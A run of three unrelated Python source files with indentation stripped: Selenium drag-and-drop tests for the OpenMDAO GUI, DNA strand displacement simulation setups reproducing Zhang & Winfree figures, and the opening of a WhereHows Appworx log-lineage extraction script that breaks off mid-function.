chain = drag_element_to(browser, paraboloid_component,
vehicle_workflow_figure.root, False)
check_highlighting(vehicle_workflow_figure.root, False, "vehicle workflow")
release(chain)
# Check to make sure there is no new workflow component figure
eq(len(workspace_page.get_workflow_component_figures()), 18)
# Clean up.
closeout(projects_page, project_info_page, project_dict, workspace_page)
def _test_drop_onto_layered_div(browser):
projects_page, project_info_page, project_dict, workspace_page = startup(browser)
# Add paraboloid and vehicle_threesim files
file1_path = pkg_resources.resource_filename('openmdao.examples.simple',
'paraboloid.py')
file2_path = pkg_resources.resource_filename('openmdao.examples.enginedesign',
'vehicle_threesim.py')
workspace_page.add_file(file1_path)
workspace_page.add_file(file2_path)
# add VehicleSim2 to the globals
workspace_page.set_library_filter('In Project')
vehicle_name = put_element_on_grid(workspace_page, "VehicleSim2")
# add Paraboloid to VehicleSim dataflow assembly
vehicle = workspace_page.get_dataflow_figure(vehicle_name)
paraboloid = workspace_page.find_library_button('Paraboloid')
chain = drag_element_to(browser, paraboloid,
vehicle('content_area').element, False)
release(chain)
paraboloid_name = NameInstanceDialog(workspace_page).create_and_dismiss()
# Open up the component editor for the sim_EPA_city inside the vehicle sim
sim_EPA_city_driver = workspace_page.get_dataflow_figure('sim_EPA_city',
vehicle_name)
driver_editor = sim_EPA_city_driver.editor_page(base_type='Driver')
driver_editor.move(-100, 0)
driver_editor.show_workflow()
# Check to make sure we have the expected number of
# workflow component figures before we add to it
eq(len(driver_editor.get_workflow_component_figures()), 5)
eq(len(workspace_page.get_workflow_component_figures()), 22)
# Drag paraboloid component into sim_EPA_city workflow figure
# should add to the list of workflow component figures
workspace_page.expand_object(vehicle_name)
paraboloid_component = workspace_page.find_object_button(vehicle_name + "." + paraboloid_name)
vehicle_workflow_figure = workspace_page.get_workflow_figure("sim_EPA_city")
chain = drag_element_to(browser, paraboloid_component,
vehicle_workflow_figure.root, False)
check_highlighting(vehicle_workflow_figure.root, True,
"Three Sim Vehicle workflow")
release(chain)
# Check to make sure there is one more workflow component figure
eq(len(driver_editor.get_workflow_component_figures()), 6)
eq(len(workspace_page.get_workflow_component_figures()), 24)
# Check to see that the new div inside the workflow is there
figs = workspace_page.get_workflow_component_figures()
pathnames = [get_pathname(browser, fig) for fig in figs]
assert (vehicle_name + "." + paraboloid_name) in pathnames
# Try dragging paraboloid component into vehicle workflow figure under
# sim_EPA_city workflow figure
# should NOT add to the list of workflow component figures
workspace_page.expand_object(vehicle_name)
paraboloid_component = workspace_page.find_object_button(vehicle_name + "." + paraboloid_name)
vehicle_workflow_figure = workspace_page.get_workflow_figure("vehicle")
chain = drag_element_to(browser, paraboloid_component,
vehicle_workflow_figure.root, False)
check_highlighting(vehicle_workflow_figure.root, False,
"Three Sim Vehicle workflow")
release(chain)
# Check to make sure there is one more workflow component figure
eq(len(driver_editor.get_workflow_component_figures()), 6)
eq(len(workspace_page.get_workflow_component_figures()), 24)
# Check to see that the new div inside the workflow is there
figs = workspace_page.get_workflow_component_figures()
pathnames = [get_pathname(browser, fig) for fig in figs]
assert (vehicle_name + "." + paraboloid_name) in pathnames
# Clean up.
closeout(projects_page, project_info_page, project_dict, workspace_page)
def slot_drop(browser, element, slot, should_drop, message='Slot'):
'''Drop an element on a slot'''
chain = drag_element_to(browser, element, slot, True)
chain.move_by_offset(25, 0).perform()
time.sleep(1.0) # give it a second to update the figure
check_highlighting(slot, should_highlight=should_drop, message=message)
release(chain)
def slot_reset(workspace_page, editor=None, metamodel=None, remove_old=False):
'''every successfull drop permanently fills the slot. because of this,
we need to make a new metamodel (with empty slots) every successfull drop'''
if remove_old:
# first, close out the dialog box we have open
editor.close()
# remove the current metamodel
metamodel.remove()
#drop 'metamodel' onto the grid
meta_name = put_element_on_grid(workspace_page, "MetaModel")
#find it on the page
metamodel = workspace_page.get_dataflow_figure(meta_name)
#open the 'edit' dialog on metamodel
editor = metamodel.editor_page(False)
editor.move(-100, 0)
editor.show_slots()
#resize_editor(workspace_page, editor)
#find the slots (this is both the drop target and highlight area)
browser = workspace_page.browser
slot_id = 'SlotFigure-'+meta_name+'-%s'
caseiter = browser.find_element(By.ID, slot_id % 'warm_start_data')
caserec = browser.find_element(By.ID, slot_id % 'recorder')
model = browser.find_element(By.ID, slot_id % 'model')
return editor, metamodel, caseiter, caserec, model, meta_name
def resize_editor(workspace_page, editor):
'''ensure that the editor is not covering the library (or else we cannot drag things from it!)'''
browser = workspace_page.browser
page_width = browser.get_window_size()['width']
lib_width = workspace_page('library_tab').find_element_by_xpath('..').size['width']
lib_position = workspace_page('library_tab').find_element_by_xpath('..').location['x']
dialog_width = editor('dialog_title').find_element_by_xpath('../..').size['width']
dialog_position = editor('dialog_title').find_element_by_xpath('../..').location['x']
# how much overlap do we have?
overlap = lib_position - (dialog_position + dialog_width)
if overlap < 0: # we are overlapping
# check to see if we have enough room to move out of the way
if page_width < dialog_width + lib_width:
# not enough, need to rezize the editor
# look for the resize handle
sibblings = editor('dialog_title').find_elements_by_xpath('../../div')
handle = None
for sib in sibblings:
if "ui-resizable-se" in sib.get_attribute('class'):
handle = sib
# do the resizing
chain = ActionChains(browser)
chain.click_and_hold(handle)
chain.move_by_offset(450 - dialog_width, 0).perform() # we can resize editor down to 425px, any less and we cover drop targets
chain.click().perform() # must click because release is not working. why? I do not know.
chain.release(None).perform()
# recalculate the overlap
dialog_width = editor('dialog_title').find_element_by_xpath('../..').size['width']
dialog_position = editor('dialog_title').find_element_by_xpath('../..').location['x']
overlap = lib_position - (dialog_position + dialog_width)
# We are good, move out!
chain = ActionChains(browser)
chain.click_and_hold(editor('dialog_title').element)
chain.move_by_offset(overlap, 0).perform()
chain.click().perform() # must click because release is not working. why? I do not know.
chain.release(None).perform()
# recalculate the overlap
dialog_width = editor('dialog_title').find_element_by_xpath('../..').size['width']
dialog_position = editor('dialog_title').find_element_by_xpath('../..').location['x']
overlap = lib_position - (dialog_position + dialog_width)
if overlap < 0:
# we still have a problem.
eq(True, False,
"Could not move or rezise the editor dialog so it is not " \
"overlapping the library. The browser window is too small")
def get_slot_target(labels, element_str):
'''Return the element with the given label string'''
for label in labels:
if element_str in label.text:
return label.find_element_by_xpath("..")
return None
def get_dataflow_fig_in_assembly_editor(workspace_page, name):
'''Find the named dataflow fig in the assembly editor'''
allFigs = workspace_page.get_dataflow_figures()
for fig in allFigs:
location = fig.find_element_by_xpath("..").get_attribute('id')
if location == "top-dataflow":
return DataflowFigure(workspace_page.browser, workspace_page.port, fig)
return None
def put_assembly_on_grid(workspace_page):
'''Drop an Assembly on a grid'''
return put_element_on_grid(workspace_page, 'Assembly')
def put_element_on_grid(workspace_page, element_str):
'''find and get the 'assembly', and the div for the grid object'''
browser = workspace_page.browser
for retry in range(3):
try:
assembly = workspace_page.find_library_button(element_str)
chain = ActionChains(browser)
chain.click_and_hold(assembly)
chain.move_by_offset(-100, 0).perform()
except StaleElementReferenceException:
if retry < 2:
logging.warning('put_element_on_grid %s:'
' StaleElementReferenceException', element_str)
else:
raise
else:
break
grid = browser.find_element_by_xpath('//div[@id="-dataflow"]')
check_highlighting(grid, True, "Grid")
release(chain)
# deal with the modal dialog
name = NameInstanceDialog(workspace_page).create_and_dismiss()
# make sure it is on the grid
ensure_names_in_workspace(workspace_page, [name],
"Dragging '" + element_str + "' to grid did not produce a new element on page")
return name
def get_pathname(browser, fig):
'''Get the OpenMDAO pathname for a figure'''
figid = fig.get_attribute('id') # get the ID of the element here
script = "return jQuery('#" + figid + "').data('pathname')"
return browser.execute_script(script)
def ensure_names_in_workspace(workspace_page, names, message=None):
"""ensures the list of element names in included in the workspace"""
allnames = workspace_page.get_dataflow_component_names()
# sometimes does not load all of the names for some reason.
# Reloading seems to fix the problem
try_reload = False
for name in names:
if not name in allnames:
try_reload = True
if try_reload:
time.sleep(.1)
allnames = workspace_page.get_dataflow_component_names()
# now we will assert that the elements that we added appear on the page
for name in names:
eq(name in allnames, True, '%s: %s' % (message, name))
def drag_element_to(browser, element, drag_to, centerx):
'''Drag one element over to another element'''
chain = ActionChains(browser)
chain.move_to_element(element).perform()
chain.click_and_hold(element)
chain.move_to_element(drag_to).perform()
if centerx:
chain.move_by_offset(int(drag_to.value_of_css_property('width')[:-2])/2, 1).perform()
else:
chain.move_by_offset(2, 1).perform()
return chain
def release(chain):
'''The drop part of the ActionChain when doing drag and drop'''
chain.release(on_element=None).perform()
def check_highlighting(element, should_highlight=True, message='Element'):
'''check to see that the background-color of the element is rgb(207, 214, 254)'''
if 'SlotFigure' in element.get_attribute('class'):
# a slot figure is a div containing a ul element (the context menu) and
# one or more svg elements, each of which contains a rect and two texts
# the last rect fill style is what we need to check for highlighting
rect = element.find_elements_by_css_selector('svg rect')[-1]
style = rect.get_attribute('style')
else:
style = element.get_attribute('style')
highlighted = ('background-color: rgb(207, 214, 254)' in style) \
or ('highlighted.png' in style) \
or ('fill: #cfd6fe' in style)
eq(highlighted, should_highlight, message +
(' did not highlight (and should have) ' if should_highlight else
' highlighed (and should not have) ')
+ 'when dragging a dropable element to it')
def getDropableElements(dataflow_figure):
'''Dataflow figures are made of many subelements. This function
returns a list of them so that we can try dropping on any one
of the elements
'''
# return [dataflow_figure(area).element for area in \
# ['top_left','header','top_right', 'content_area',
# 'bottom_left', 'footer', 'bottom_right']]
# add back 'top_left' 'bottom_left' at some point. right now that test fails
arr = ['content_area', 'header', 'footer', 'bottom_right', 'top_right']
return [dataflow_figure(area).element for area in arr]
def replace_driver(workspace_page, assembly_name, driver_type):
#find and get the 'comnindriver', 'top', and 'driver' objects
newdriver = workspace_page.find_library_button(driver_type)
assembly = workspace_page.get_dataflow_figure(assembly_name)
driver_element = workspace_page.get_dataflow_figure('driver')
div = getDropableElements(driver_element)[0]
chain = drag_element_to(workspace_page.browser, newdriver, div, True)
check_highlighting(driver_element('content_area').element, True,
"Driver's content_area")
release(chain)
# brings up a confirm dialog for replacing the existing driver.
dialog = ConfirmationPage(assembly)
dialog.click_ok()
if __name__ == '__main__':
main()
|
def zhang2007_F1_pil(x):
return """
# Domains
length d1 = 10
length d2a = 6
length d2b = 6
length d2c = 12
length d3 = 4
length d4 = 16
length d5 = 6
length d6 = 16
# Species
C = d4 d5
OB = d1 d2a d2b d2c
ROX = d1 d2a
S = d1 d2a( d2b( d2c( + d6 d3( d4( + d5* ) ) ) ) )
F = d2a d2b d2c d3 d4 # fuel
OR = d1( d2a( + d2b* ) )
SB = d6 d3 d4
I1 = d1 d2a( d2b( d2c( + d6 d3( d4( + d4 d5( + ) ) ) ) ) )
I2 = d1 d2a( d2b( d2c( + d6 d3( d4 + d4( d5( + ) ) ) ) ) )
I3 = d1 d2a( d2b( d2c( + d4( d5( + ) ) d3* ) ) )
I4 = d1 d2a( d2b( d2c( + d2a d2b d2c d3( d4 + d4( d5( + ) ) ) ) ) )
I4a = d1 d2a( d2b( d2c( + d2a d2b d2c d3( d4( + d4 d5( + ) ) ) ) ) )
I5 = d2a( d2b( d2c( d3( d4 + d4( d5( + ) ) ) ) ) )
W = d2a( d2b( d2c( d3( d4( + d5* ) ) ) ) )
RQ = d1( d2a( d2b( d2c + ) ) )
""".format(x)
def zhang2010_F10A_pil(x):
return """
# Domains
length d41 = 16
length d42a = 4
length d42b = 7
length d42c = 9
length d43 = 5
length d44 = 15
length d45 = 8
length d46 = 15
F4 = d42a d42b d42c d43 d44
S4 = d41 d42a( d42b( d42c( + d46 d43( d44( + d45* ) ) ) ) )
C4 = d44 d45
W4 = d42a( d42b( d42c( d43( d44( + d45* ) ) ) ) )
OP4 = d41 d42a d42b d42c
SP4 = d46 d43 d44
RQ = d41( d42a( d42b( d42c + ) ) )
ROX = d41 d42a
OR4 = d41( d42a( + d42b* ) )
""".format(x)
def zhang2010_F10D_pil(x):
return """
# Domains
length d51 = 15
length d52a = 5
length d52b = 7
length d52c = 10
length d63 = 5
length d64 = 11
length d65 = 8
length d66 = 10
F43 = d52a d52b d52c d63 d64
S43 = d51 d52a( d52b( d52c( + d66 d63( d64( + d65* ) ) ) ) )
C43 = d64 d65
W43 = d52a( d52b( d52c( d63( d64( + d65* ) ) ) ) )
OP43 = d51 d52a d52b d52c
SP43 = d66 d63 d64
RQ = d51( d52a( d52b( d52c + ) ) )
RG = d51 d52a
OR43 = d51( d52a( + d52b* ) )
""".format(x)
def data(evaluate=False, verbose = 0):
from figure_analysis import FigureData
# Default pilsimulator call
psim = "pilsimulator --no-jacobian --nxy --header"
psim += " --atol 1e-10 --rtol 1e-10 --mxstep 1000"
psim += " --t8 86500 --t-lin 86500"
rates = {'k_slow': 1e-5, 'k_fast': 0.1}
# Setup
F3A = FigureData('Zhang & Winfree (2010) Fig. 3A - Catalytic DSD system with 100 nM substrates (varying catalyst)')
F3A.fname = 'Zhang2010-F3A'
current = F3A
template = zhang2007_F1_pil
sims = [psim + ' --pyplot-labels S F OR C ROX --p0 S=100 F=200 OR=300 C=10',
psim + ' --pyplot-labels S F OR C ROX --p0 S=100 F=200 OR=300 C=1']
diagX = [(2557.53, 88.07), (11842.47, 44.61)]
for (sim, res) in zip(sims, diagX):
pilstring = template(None)
simulation = sim
reporter = 'ROX'
metric = 'diagonal-crossing-time'
tmax = '21600'
cmax = '100'
current.add_system_simulation_setup(pilstring, simulation, reporter, metric,
':'.join([tmax, cmax]), res, simargs=sim[sim.find('C='):])
halfC = [(611.58, 50.00), (15956.76, 50.00)]
for (sim, res) in zip(sims, halfC):
pilstring = template(None)
simulation = sim
reporter = 'ROX'
metric = 'completion-time'
current.add_system_simulation_setup(pilstring, simulation, reporter, metric, '50',
res, simargs=sim[sim.find('C='):])
current.pepperargs['default'] = current.pepperargs['Condensed'].copy()
if evaluate:
current.eval()
if verbose:
for df in current.get_dataframes():
print(df)
# Setup
F3B = FigureData('Zhang & Winfree (2010) Fig. 3B - Catalytic DSD system 30 nM substrates (varying catalyst)')
F3B.fname = 'Zhang2010-F3B'
current = F3B
template = zhang2007_F1_pil
sims = [psim + ' --pyplot-labels S F OR C ROX --p0 S=30 F=60 OR=90 C=3',
psim + ' --pyplot-labels S F OR C ROX --p0 S=30 F=60 OR=90 C=0.9']
diagX = [(4200.75, 24.15), (9051.94, 17.45)]
for (sim, res) in zip(sims, diagX):
pilstring = template(None)
simulation = sim
reporter = 'ROX'
metric = 'diagonal-crossing-time'
tmax = '21600'
cmax = '30'
current.add_system_simulation_setup(pilstring, simulation, reporter, metric,
':'.join([tmax, cmax]), res, simargs=sim[sim.find('C='):])
halfC = [(1571.89, 15), (6938.02, 15)]
for (sim, res) in zip(sims, halfC):
pilstring = template(None)
simulation = sim
reporter = 'ROX'
metric = 'completion-time'
current.add_system_simulation_setup(pilstring, simulation, reporter, metric, '15',
res, simargs=sim[sim.find('C='):])
current.pepperargs['default'] = current.pepperargs['Condensed'].copy()
if evaluate:
current.eval()
if verbose:
for df in current.get_dataframes():
print(df)
# Setup
F3C = FigureData('Zhang & Winfree (2010) Fig. 3C - Catalytic DSD system with 3 nM substrates (varying catalyst)')
F3C.fname = 'Zhang2010-F3C'
current = F3C
template = zhang2007_F1_pil
sims = [psim + ' --pyplot-labels S F OR C ROX --p0 S=3 F=6 OR=9 C=0.9',
psim + ' --pyplot-labels S F OR C ROX --p0 S=3 F=6 OR=9 C=0.3']
diagX = [(10199.26, 2.30), (17034.36, 1.82)]
for (sim, res) in zip(sims, diagX):
pilstring = template(None)
simulation = sim
reporter = 'ROX'
metric = 'diagonal-crossing-time'
tmax = '43200'
cmax = '3'
current.add_system_simulation_setup(pilstring, simulation, reporter, metric,
':'.join([tmax, cmax]), res, simargs=sim[sim.find('C='):])
halfC = [(4485.54, 1.50), (12388.63, 1.50)]
for (sim, res) in zip(sims, halfC):
pilstring = template(None)
simulation = sim
reporter = 'ROX'
metric = 'completion-time'
current.add_system_simulation_setup(pilstring, simulation, reporter, metric, '1.5',
res, simargs=sim[sim.find('C='):])
current.pepperargs['default'] = current.pepperargs['condensed'].copy()
if evaluate:
current.eval()
if verbose:
for df in current.get_dataframes():
print(df)
# Setup
F3D = FigureData('Zhang & Winfree (2010) Fig. 3D - Catalytic DSD system with 1 nM substrates (varying catalyst)')
F3D.fname = 'Zhang2010-F3D'
current = F3D
template = zhang2007_F1_pil
sims = [psim + ' --pyplot-labels S F OR C ROX --p0 S=1 F=2 OR=3 C=1',
psim + ' --pyplot-labels S F OR C ROX --p0 S=1 F=2 OR=3 C=0.1']
diagX = [(14382.50, 0.83), (40417.98, 0.53)]
for (sim, res) in zip(sims, diagX):
pilstring = template(None)
simulation = sim
reporter = 'ROX'
metric = 'diagonal-crossing-time'
tmax = '86400'
cmax = '1'
current.add_system_simulation_setup(pilstring, simulation, reporter, metric,
':'.join([tmax, cmax]), res, simargs=sim[sim.find('C='):])
halfC = [(5354.07, 0.50), (36323.69, 0.50)]
for (sim, res) in zip(sims, halfC):
pilstring = template(None)
simulation = sim
reporter = 'ROX'
metric = 'completion-time'
current.add_system_simulation_setup(pilstring, simulation, reporter, metric, '0.5',
res, simargs=sim[sim.find('C='):])
current.pepperargs['default'] = current.pepperargs['condensed'].copy()
if evaluate:
current.eval()
if verbose:
for df in current.get_dataframes():
print(df)
# Setup
F10C = FigureData('Zhang & Winfree (2010) Fig. 10C -- Catalytic DSD system with four-letter alphabet (varying catalyst)')
F10C.fname = 'Zhang2010-F10C'
current = F10C
template = zhang2010_F10A_pil
sims = [psim + ' --pyplot-labels S4 F4 OR4 C4 ROX --p0 S4=30 F4=60 OR4=90 C4=3',
psim + ' --pyplot-labels S4 F4 OR4 C4 ROX --p0 S4=30 F4=60 OR4=90 C4=0.09',
psim + ' --pyplot-labels S4 F4 OR4 C4 ROX --p0 S4=30 F4=60 OR4=90 C4=0.03']
diagX = [(14893.10, 11.70), (25416.48, 5.91), (31189.31, 2.72)]
for (sim, res) in zip(sims, diagX):
pilstring = template(None)
simulation = sim
reporter = 'ROX'
metric = 'diagonal-crossing-time'
tmax = '36000'
cmax = '20'
current.add_system_simulation_setup(pilstring, simulation, reporter, metric,
':'.join([tmax, cmax]), res, simargs=sim[sim.find('C4='):])
#NOTE: That doesn't make sense!
#halfC = [(10663.70, 10.01)]
#for (sim, res) in zip(sims, halfC):
# pilstring = template(None)
# simulation = sim
# reporter = 'ROX'
# metric = 'completion-time'
# current.add_system_simulation_setup(pilstring, simulation, reporter, metric, '10',
# res, simargs=sim[sim.find('C4='):])
current.pepperargs['default'] = current.pepperargs['condensed'].copy()
if evaluate:
current.eval()
if verbose:
for df in current.get_dataframes():
print(df)
# Setup
F10F = FigureData('Zhang & Winfree (2010) Fig. 10F -- Catalytic DSD system with three and four-letter alphabet (varying catalyst)')
F10F.fname = 'Zhang2010-F10F'
current = F10F
template = zhang2010_F10D_pil
sims = [psim + ' --pyplot-labels S43 F43 OR43 C43 RG --p0 S43=10 F43=20 OR43=30 C43=3',
psim + ' --pyplot-labels S43 F43 OR43 C43 RG --p0 S43=10 F43=20 OR43=30 C43=0.09',
psim + ' --pyplot-labels S43 F43 OR43 C43 RG --p0 S43=10 F43=20 OR43=30 C43=0.03']
diagX = [(3545.01, 4.06), (5321.74, 2.07), (6277.79, 1.01)]
for (sim, res) in zip(sims, diagX):
pilstring = template(None)
simulation = sim
reporter = 'RG'
metric = 'diagonal-crossing-time'
tmax = '7200'
cmax = '8'
current.add_system_simulation_setup(pilstring, simulation, reporter, metric,
':'.join([tmax, cmax]), res, simargs=sim[sim.find('C43='):])
#NOTE: That doesn't make sense!
#halfC = [(3426.56, 4.00)]
#for (sim, res) in zip(sims, halfC):
# pilstring = template(None)
# simulation = sim
# reporter = 'RG'
# metric = 'completion-time'
# current.add_system_simulation_setup(pilstring, simulation, reporter, metric, '4',
# res, simargs=sim[sim.find('C43='):])
current.pepperargs['default'] = current.pepperargs['condensed'].copy()
if evaluate:
current.eval()
if verbose:
for df in current.get_dataframes():
print(df)
return [F3A, F3B, F3C, F3D]#, F10C, F10F]
if __name__ == '__main__':
data(evaluate=True, verbose=1)
|
#
# Copyright 2015 LinkedIn Corp. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
#
from wherehows.common import Constant
from com.ziclix.python.sql import zxJDBC
from org.slf4j import LoggerFactory
from AppworxLogParser import AppworxLogParser
from PigLogParser import PigLogParser
from BteqLogParser import BteqLogParser
import sys, os, re, time
import DbUtil
import hashlib
import ParseUtil
class AppworxLineageExtract:
def __init__(self, args):
self.logger = LoggerFactory.getLogger('jython script : ' + self.__class__.__name__)
self.app_id = int(args[Constant.APP_ID_KEY])
self.wh_exec_id = long(args[Constant.WH_EXEC_ID_KEY])
self.aw_con = zxJDBC.connect(args[Constant.WH_DB_URL_KEY],
args[Constant.WH_DB_USERNAME_KEY],
args[Constant.WH_DB_PASSWORD_KEY],
args[Constant.WH_DB_DRIVER_KEY])
self.aw_cursor = self.aw_con.cursor()
self.remote_hadoop_script_dir = args[Constant.AW_REMOTE_HADOOP_SCRIPT_DIR]
self.local_script_path = args[Constant.AW_LOCAL_SCRIPT_PATH]
self.remote_script_path = args[Constant.AW_REMOTE_SCRIPT_PATH]
self.aw_archive_dir = args[Constant.AW_ARCHIVE_DIR]
# self.aw_log_url = args[Constant.AW_LOG_URL]
self.bteq_source_target_override = args[Constant.AW_BTEQ_SOURCE_TARGET_OVERRIDE]
self.metric_override = args[Constant.AW_METRIC_OVERRIDE]
self.skip_already_parsed = args[Constant.AW_SKIP_ALREADY_PARSED]
self.look_back_days = args[Constant.AW_LINEAGE_ETL_LOOKBACK_KEY]
self.last_execution_unix_time = None
self.get_last_execution_unix_time()
def get_last_execution_unix_time(self):
if self.last_execution_unix_time is None:
try:
query = """
SELECT MAX(job_finished_unixtime) as last_time FROM job_execution_data_lineage where app_id = %d
"""
self.aw_cursor.execute(query % self.app_id)
rows = DbUtil.dict_cursor(self.aw_cursor)
if rows:
for row in rows:
self.last_execution_unix_time = row['last_time']
break
except:
self.logger.error("Get the last execution time from job_execution_data_lineage failed")
self.last_execution_unix_time = None
ts = int(time.time())
if self.last_execution_unix_time is not None and (ts - self.last_execution_unix_time) > 5*60*60:
self.logger.info('last execution unix time is:' + str(self.last_execution_unix_time))
self.last_execution_unix_time = None
return self.last_execution_unix_time
def run(self):
self.logger.info("Begin Appworx Log Parsing")
try:
self.process_li_bteq()
self.process_li_pig()
self.process_li_hadoop()
self.process_li_tpt_insert()
self.process_kafka_sonora_hadoop_get()
self.process_li_shell_gw()
self.process_li_getreplacemergegeneral('LI_GETREPLACEMERGEGENERAL')
self.process_li_getreplacemergegeneral('LINKEDIN_SHELL')
self.process_li_getreplacemergegeneral('LI_WEBHDFS_GET')
finally:
self.aw_cursor.close()
self.aw_con.close()
self.logger.info("Finish Appworx Extract")
def db_lookup(self, dbname, default=None):
query = \
"""
SELECT db_id FROM cfg_database WHERE db_code = '%s' or short_connection_string = '%s'
"""
self.aw_cursor.execute(query % (dbname,dbname))
rows = DbUtil.dict_cursor(self.aw_cursor)
for row in rows:
return row['db_id']
return 0
def get_log_file_name(self, module_name, days_offset=1):
if self.last_execution_unix_time:
query = \
"""select je.*, fj.job_type, fl.flow_path,
CONCAT('o', je.job_exec_id, '.', LPAD(je.attempt_id, 2, 0)) as log_file_name,
CONCAT('%s', DATE_FORMAT(FROM_UNIXTIME(je.end_time), '%%Y%%m%%d'), '/',
CONCAT('o', je.job_exec_id, '.', LPAD(je.attempt_id, 2, 0)), '.gz') as gzipped_file_name
from job_execution je
JOIN flow_job fj on je.app_id = fj.app_id and je.flow_id = fj.flow_id and fj.is_current = 'Y' and
je.job_id = fj.job_id
JOIN flow fl on fj.app_id = fl.app_id and fj.flow_id = fl.flow_id
WHERE je.app_id = %d
and je.end_time >= %d - 3660
and fj.job_type = '%s'
ORDER BY je.flow_exec_id DESC, je.job_exec_id
"""
self.logger.info(query % (self.aw_archive_dir, self.app_id, long(self.last_execution_unix_time), module_name))
self.aw_cursor.execute(query %
(self.aw_archive_dir, self.app_id, long(self.last_execution_unix_time), module_name))
else:
query = \
"""select je.*, fj.job_type, fl.flow_path,
CONCAT('o', je.job_exec_id, '.', LPAD(je.attempt_id, 2, 0)) as log_file_name,
CONCAT('%s', DATE_FORMAT(FROM_UNIXTIME(je.end_time), '%%Y%%m%%d'), '/',
CONCAT('o', je.job_exec_id, '.', LPAD(je.attempt_id, 2, 0)), '.gz') as gzipped_file_name
from job_execution je
JOIN flow_job fj on je.app_id = fj.app_id and je.flow_id = fj.flow_id and fj.is_current = 'Y' and
je.job_id = fj.job_id
JOIN flow fl on fj.app_id = fl.app_id and fj.flow_id = fl.flow_id
WHERE je.app_id = %d and je.job_exec_status in ('FINISHED', 'SUCCEEDED', 'OK')
and je.end_time >= unix_timestamp(CURRENT_DATE - INTERVAL %d DAY) and fj.job_type = '%s'
ORDER BY je.flow_exec_id DESC, je.job_exec_id
"""
self.logger.info(query % (self.aw_archive_dir, self.app_id, int(self.look_back_days), module_name))
self.aw_cursor.execute(query % (self.aw_archive_dir, self.app_id, int(self.look_back_days), module_name))
job_rows = DbUtil.copy_dict_cursor(self.aw_cursor)
self.logger.info("%d job executions will be scanned for lineage" % len(job_rows))
return job_rows
def clean_up_staging_lineage_dbs(self, app_id, job_id, job_exec_id, attempt_number):
clean_source_code_query = \
"""
DELETE FROM job_attempt_source_code WHERE application_id = %d and job_id = %d and attempt_number = %d
"""
self.aw_cursor.execute(clean_source_code_query % (int(app_id), int(job_id), int(attempt_number)))
clean_staging_lineage_query = \
"""
DELETE FROM stg_job_execution_data_lineage WHERE app_id = %d and job_exec_id = %d
"""
self.aw_cursor.execute(clean_staging_lineage_query % (int(app_id), int(job_exec_id)))
def process_li_bteq(self):
self.logger.info("process li bteq")
bteq_rows = self.get_log_file_name(module_name='LI_BTEQ')
kfk_rows = self.get_log_file_name(module_name='KFK_SONORA_STG_TO_FACT')
rows = bteq_rows + kfk_rows
parameter_query = \
"""
SELECT param_value
FROM job_parameter
WHERE app_id = %d
AND job_exec_id = %d
AND attempt_number = %d
ORDER BY param_no
"""
check_parsed_source_code_query = \
"""
SELECT application_id, job_id, attempt_number
FROM job_attempt_source_code
WHERE script_name = '%s'
AND script_path = '%s'
AND script_md5_sum = CASE WHEN '%s' = 'None' THEN NULL ELSE UNHEX('%s') END
AND application_id = %d
ORDER BY job_id DESC
LIMIT 1
"""
check_parsed_lineage_query = \
"""
SELECT *
FROM stg_job_execution_data_lineage
WHERE app_id = %d
AND job_exec_id = %d
"""
update_staging_lineage_query = \
"""
INSERT IGNORE INTO stg_job_execution_data_lineage (
app_id, flow_exec_id, job_exec_id, flow_path, job_name, job_start_unixtime, job_finished_unixtime,
db_id, abstracted_object_name, full_object_name, partition_start, partition_end, partition_type,
storage_type, source_target_type, srl_no, source_srl_no, operation, record_count, insert_count,
created_date, wh_etl_exec_id)
SELECT %d, %d, %d, '%s', '%s', %d, %d, %d, '%s', '%s',
CASE WHEN '%s' = 'None' THEN NULL ELSE '%s' END,
CASE WHEN '%s' = 'None' THEN NULL ELSE '%s' END,
CASE WHEN '%s' = 'None' THEN NULL ELSE '%s' END,
'%s', '%s', %d,
CASE WHEN %d = 0 THEN NULL ELSE %d END,
'%s', %d, %d, UNIX_TIMESTAMP(now()), %d
FROM dual
"""
for row in rows:
try:
self.logger.info('Parsing log file: %s' % row['gzipped_file_name'])
self.aw_cursor.execute(parameter_query %
(int(row['app_id']), int(row['job_exec_id']), int(row['attempt_id'])))
params = DbUtil.copy_dict_cursor(self.aw_cursor)
key_values = {}
for param in params:
ParseUtil.value_from_cmd_line(param['param_value'], key_values)
analyzed_script = False
results = AppworxLogParser(log_file_name = row['gzipped_file_name']).parse_log({}, command_type='LI_BTEQ')
if any(results) == 0:
self.logger.info('Skipped parsing %s' % row['gzipped_file_name'])
continue
self.logger.info(str(results))
self.logger.info('Completed parsing log file: %s' % row['gzipped_file_name'])
# Compare md5 string of the file with the one parsed last time
md5_str = hashlib.md5()
try:
md5_str.update(open(self.local_script_path +
results['script_path'] + '/' +
results['script_name']).read())
except IOError:
self.logger.warn("Fails to find script file: %s/%s. Skipping the file" % (results['script_path'], results['script_name']))
continue
self.aw_cursor.execute(check_parsed_source_code_query %
(results['script_name'],
results['script_path'],
md5_str,
md5_str.hexdigest(),
int(row['app_id'])))
parsed_scripts = DbUtil.copy_dict_cursor(self.aw_cursor)
if len(parsed_scripts) != 0:
self.aw_cursor.execute(check_parsed_lineage_query %
(int(row['app_id']),
int(row['job_exec_id'])))
parsed_lineage = DbUtil.copy_dict_cursor(self.aw_cursor)
if len(parsed_lineage) == 0 or self.skip_already_parsed == 'N':
analyzed_script = False
else:
self.logger.debug("%s/%s has already been analyzed. Skipping..." %
(results['script_path'], results['script_name']))
analyzed_script = True
self.clean_up_staging_lineage_dbs(row['app_id'], row['job_id'], row['job_exec_id'], row['attempt_id'])
update_source_code_query = \
"""
INSERT INTO job_attempt_source_code(
application_id, job_id, attempt_number, script_name, script_path, script_type, created_date, script_md5_sum)
VALUES( %d, %d, %d, '%s', '%s', '%s', now(), CASE WHEN '%s' = 'None' THEN NULL ELSE UNHEX('%s') END)
""" % (int(row['app_id']), int(row['job_id']), int(row['attempt_id']),
results['script_name'], results['script_path'],
'SQL', md5_str, md5_str.hexdigest())
self.aw_cursor.execute(update_source_code_query )
self.aw_con.commit()
db_id = 0
try:
db_id = self.db_lookup(results['host'])
except KeyError:
self.logger.error(sys.exc_info()[0])
bteq_load_srl = 1
if not analyzed_script:
if 'table' in results:
schema_name = ''
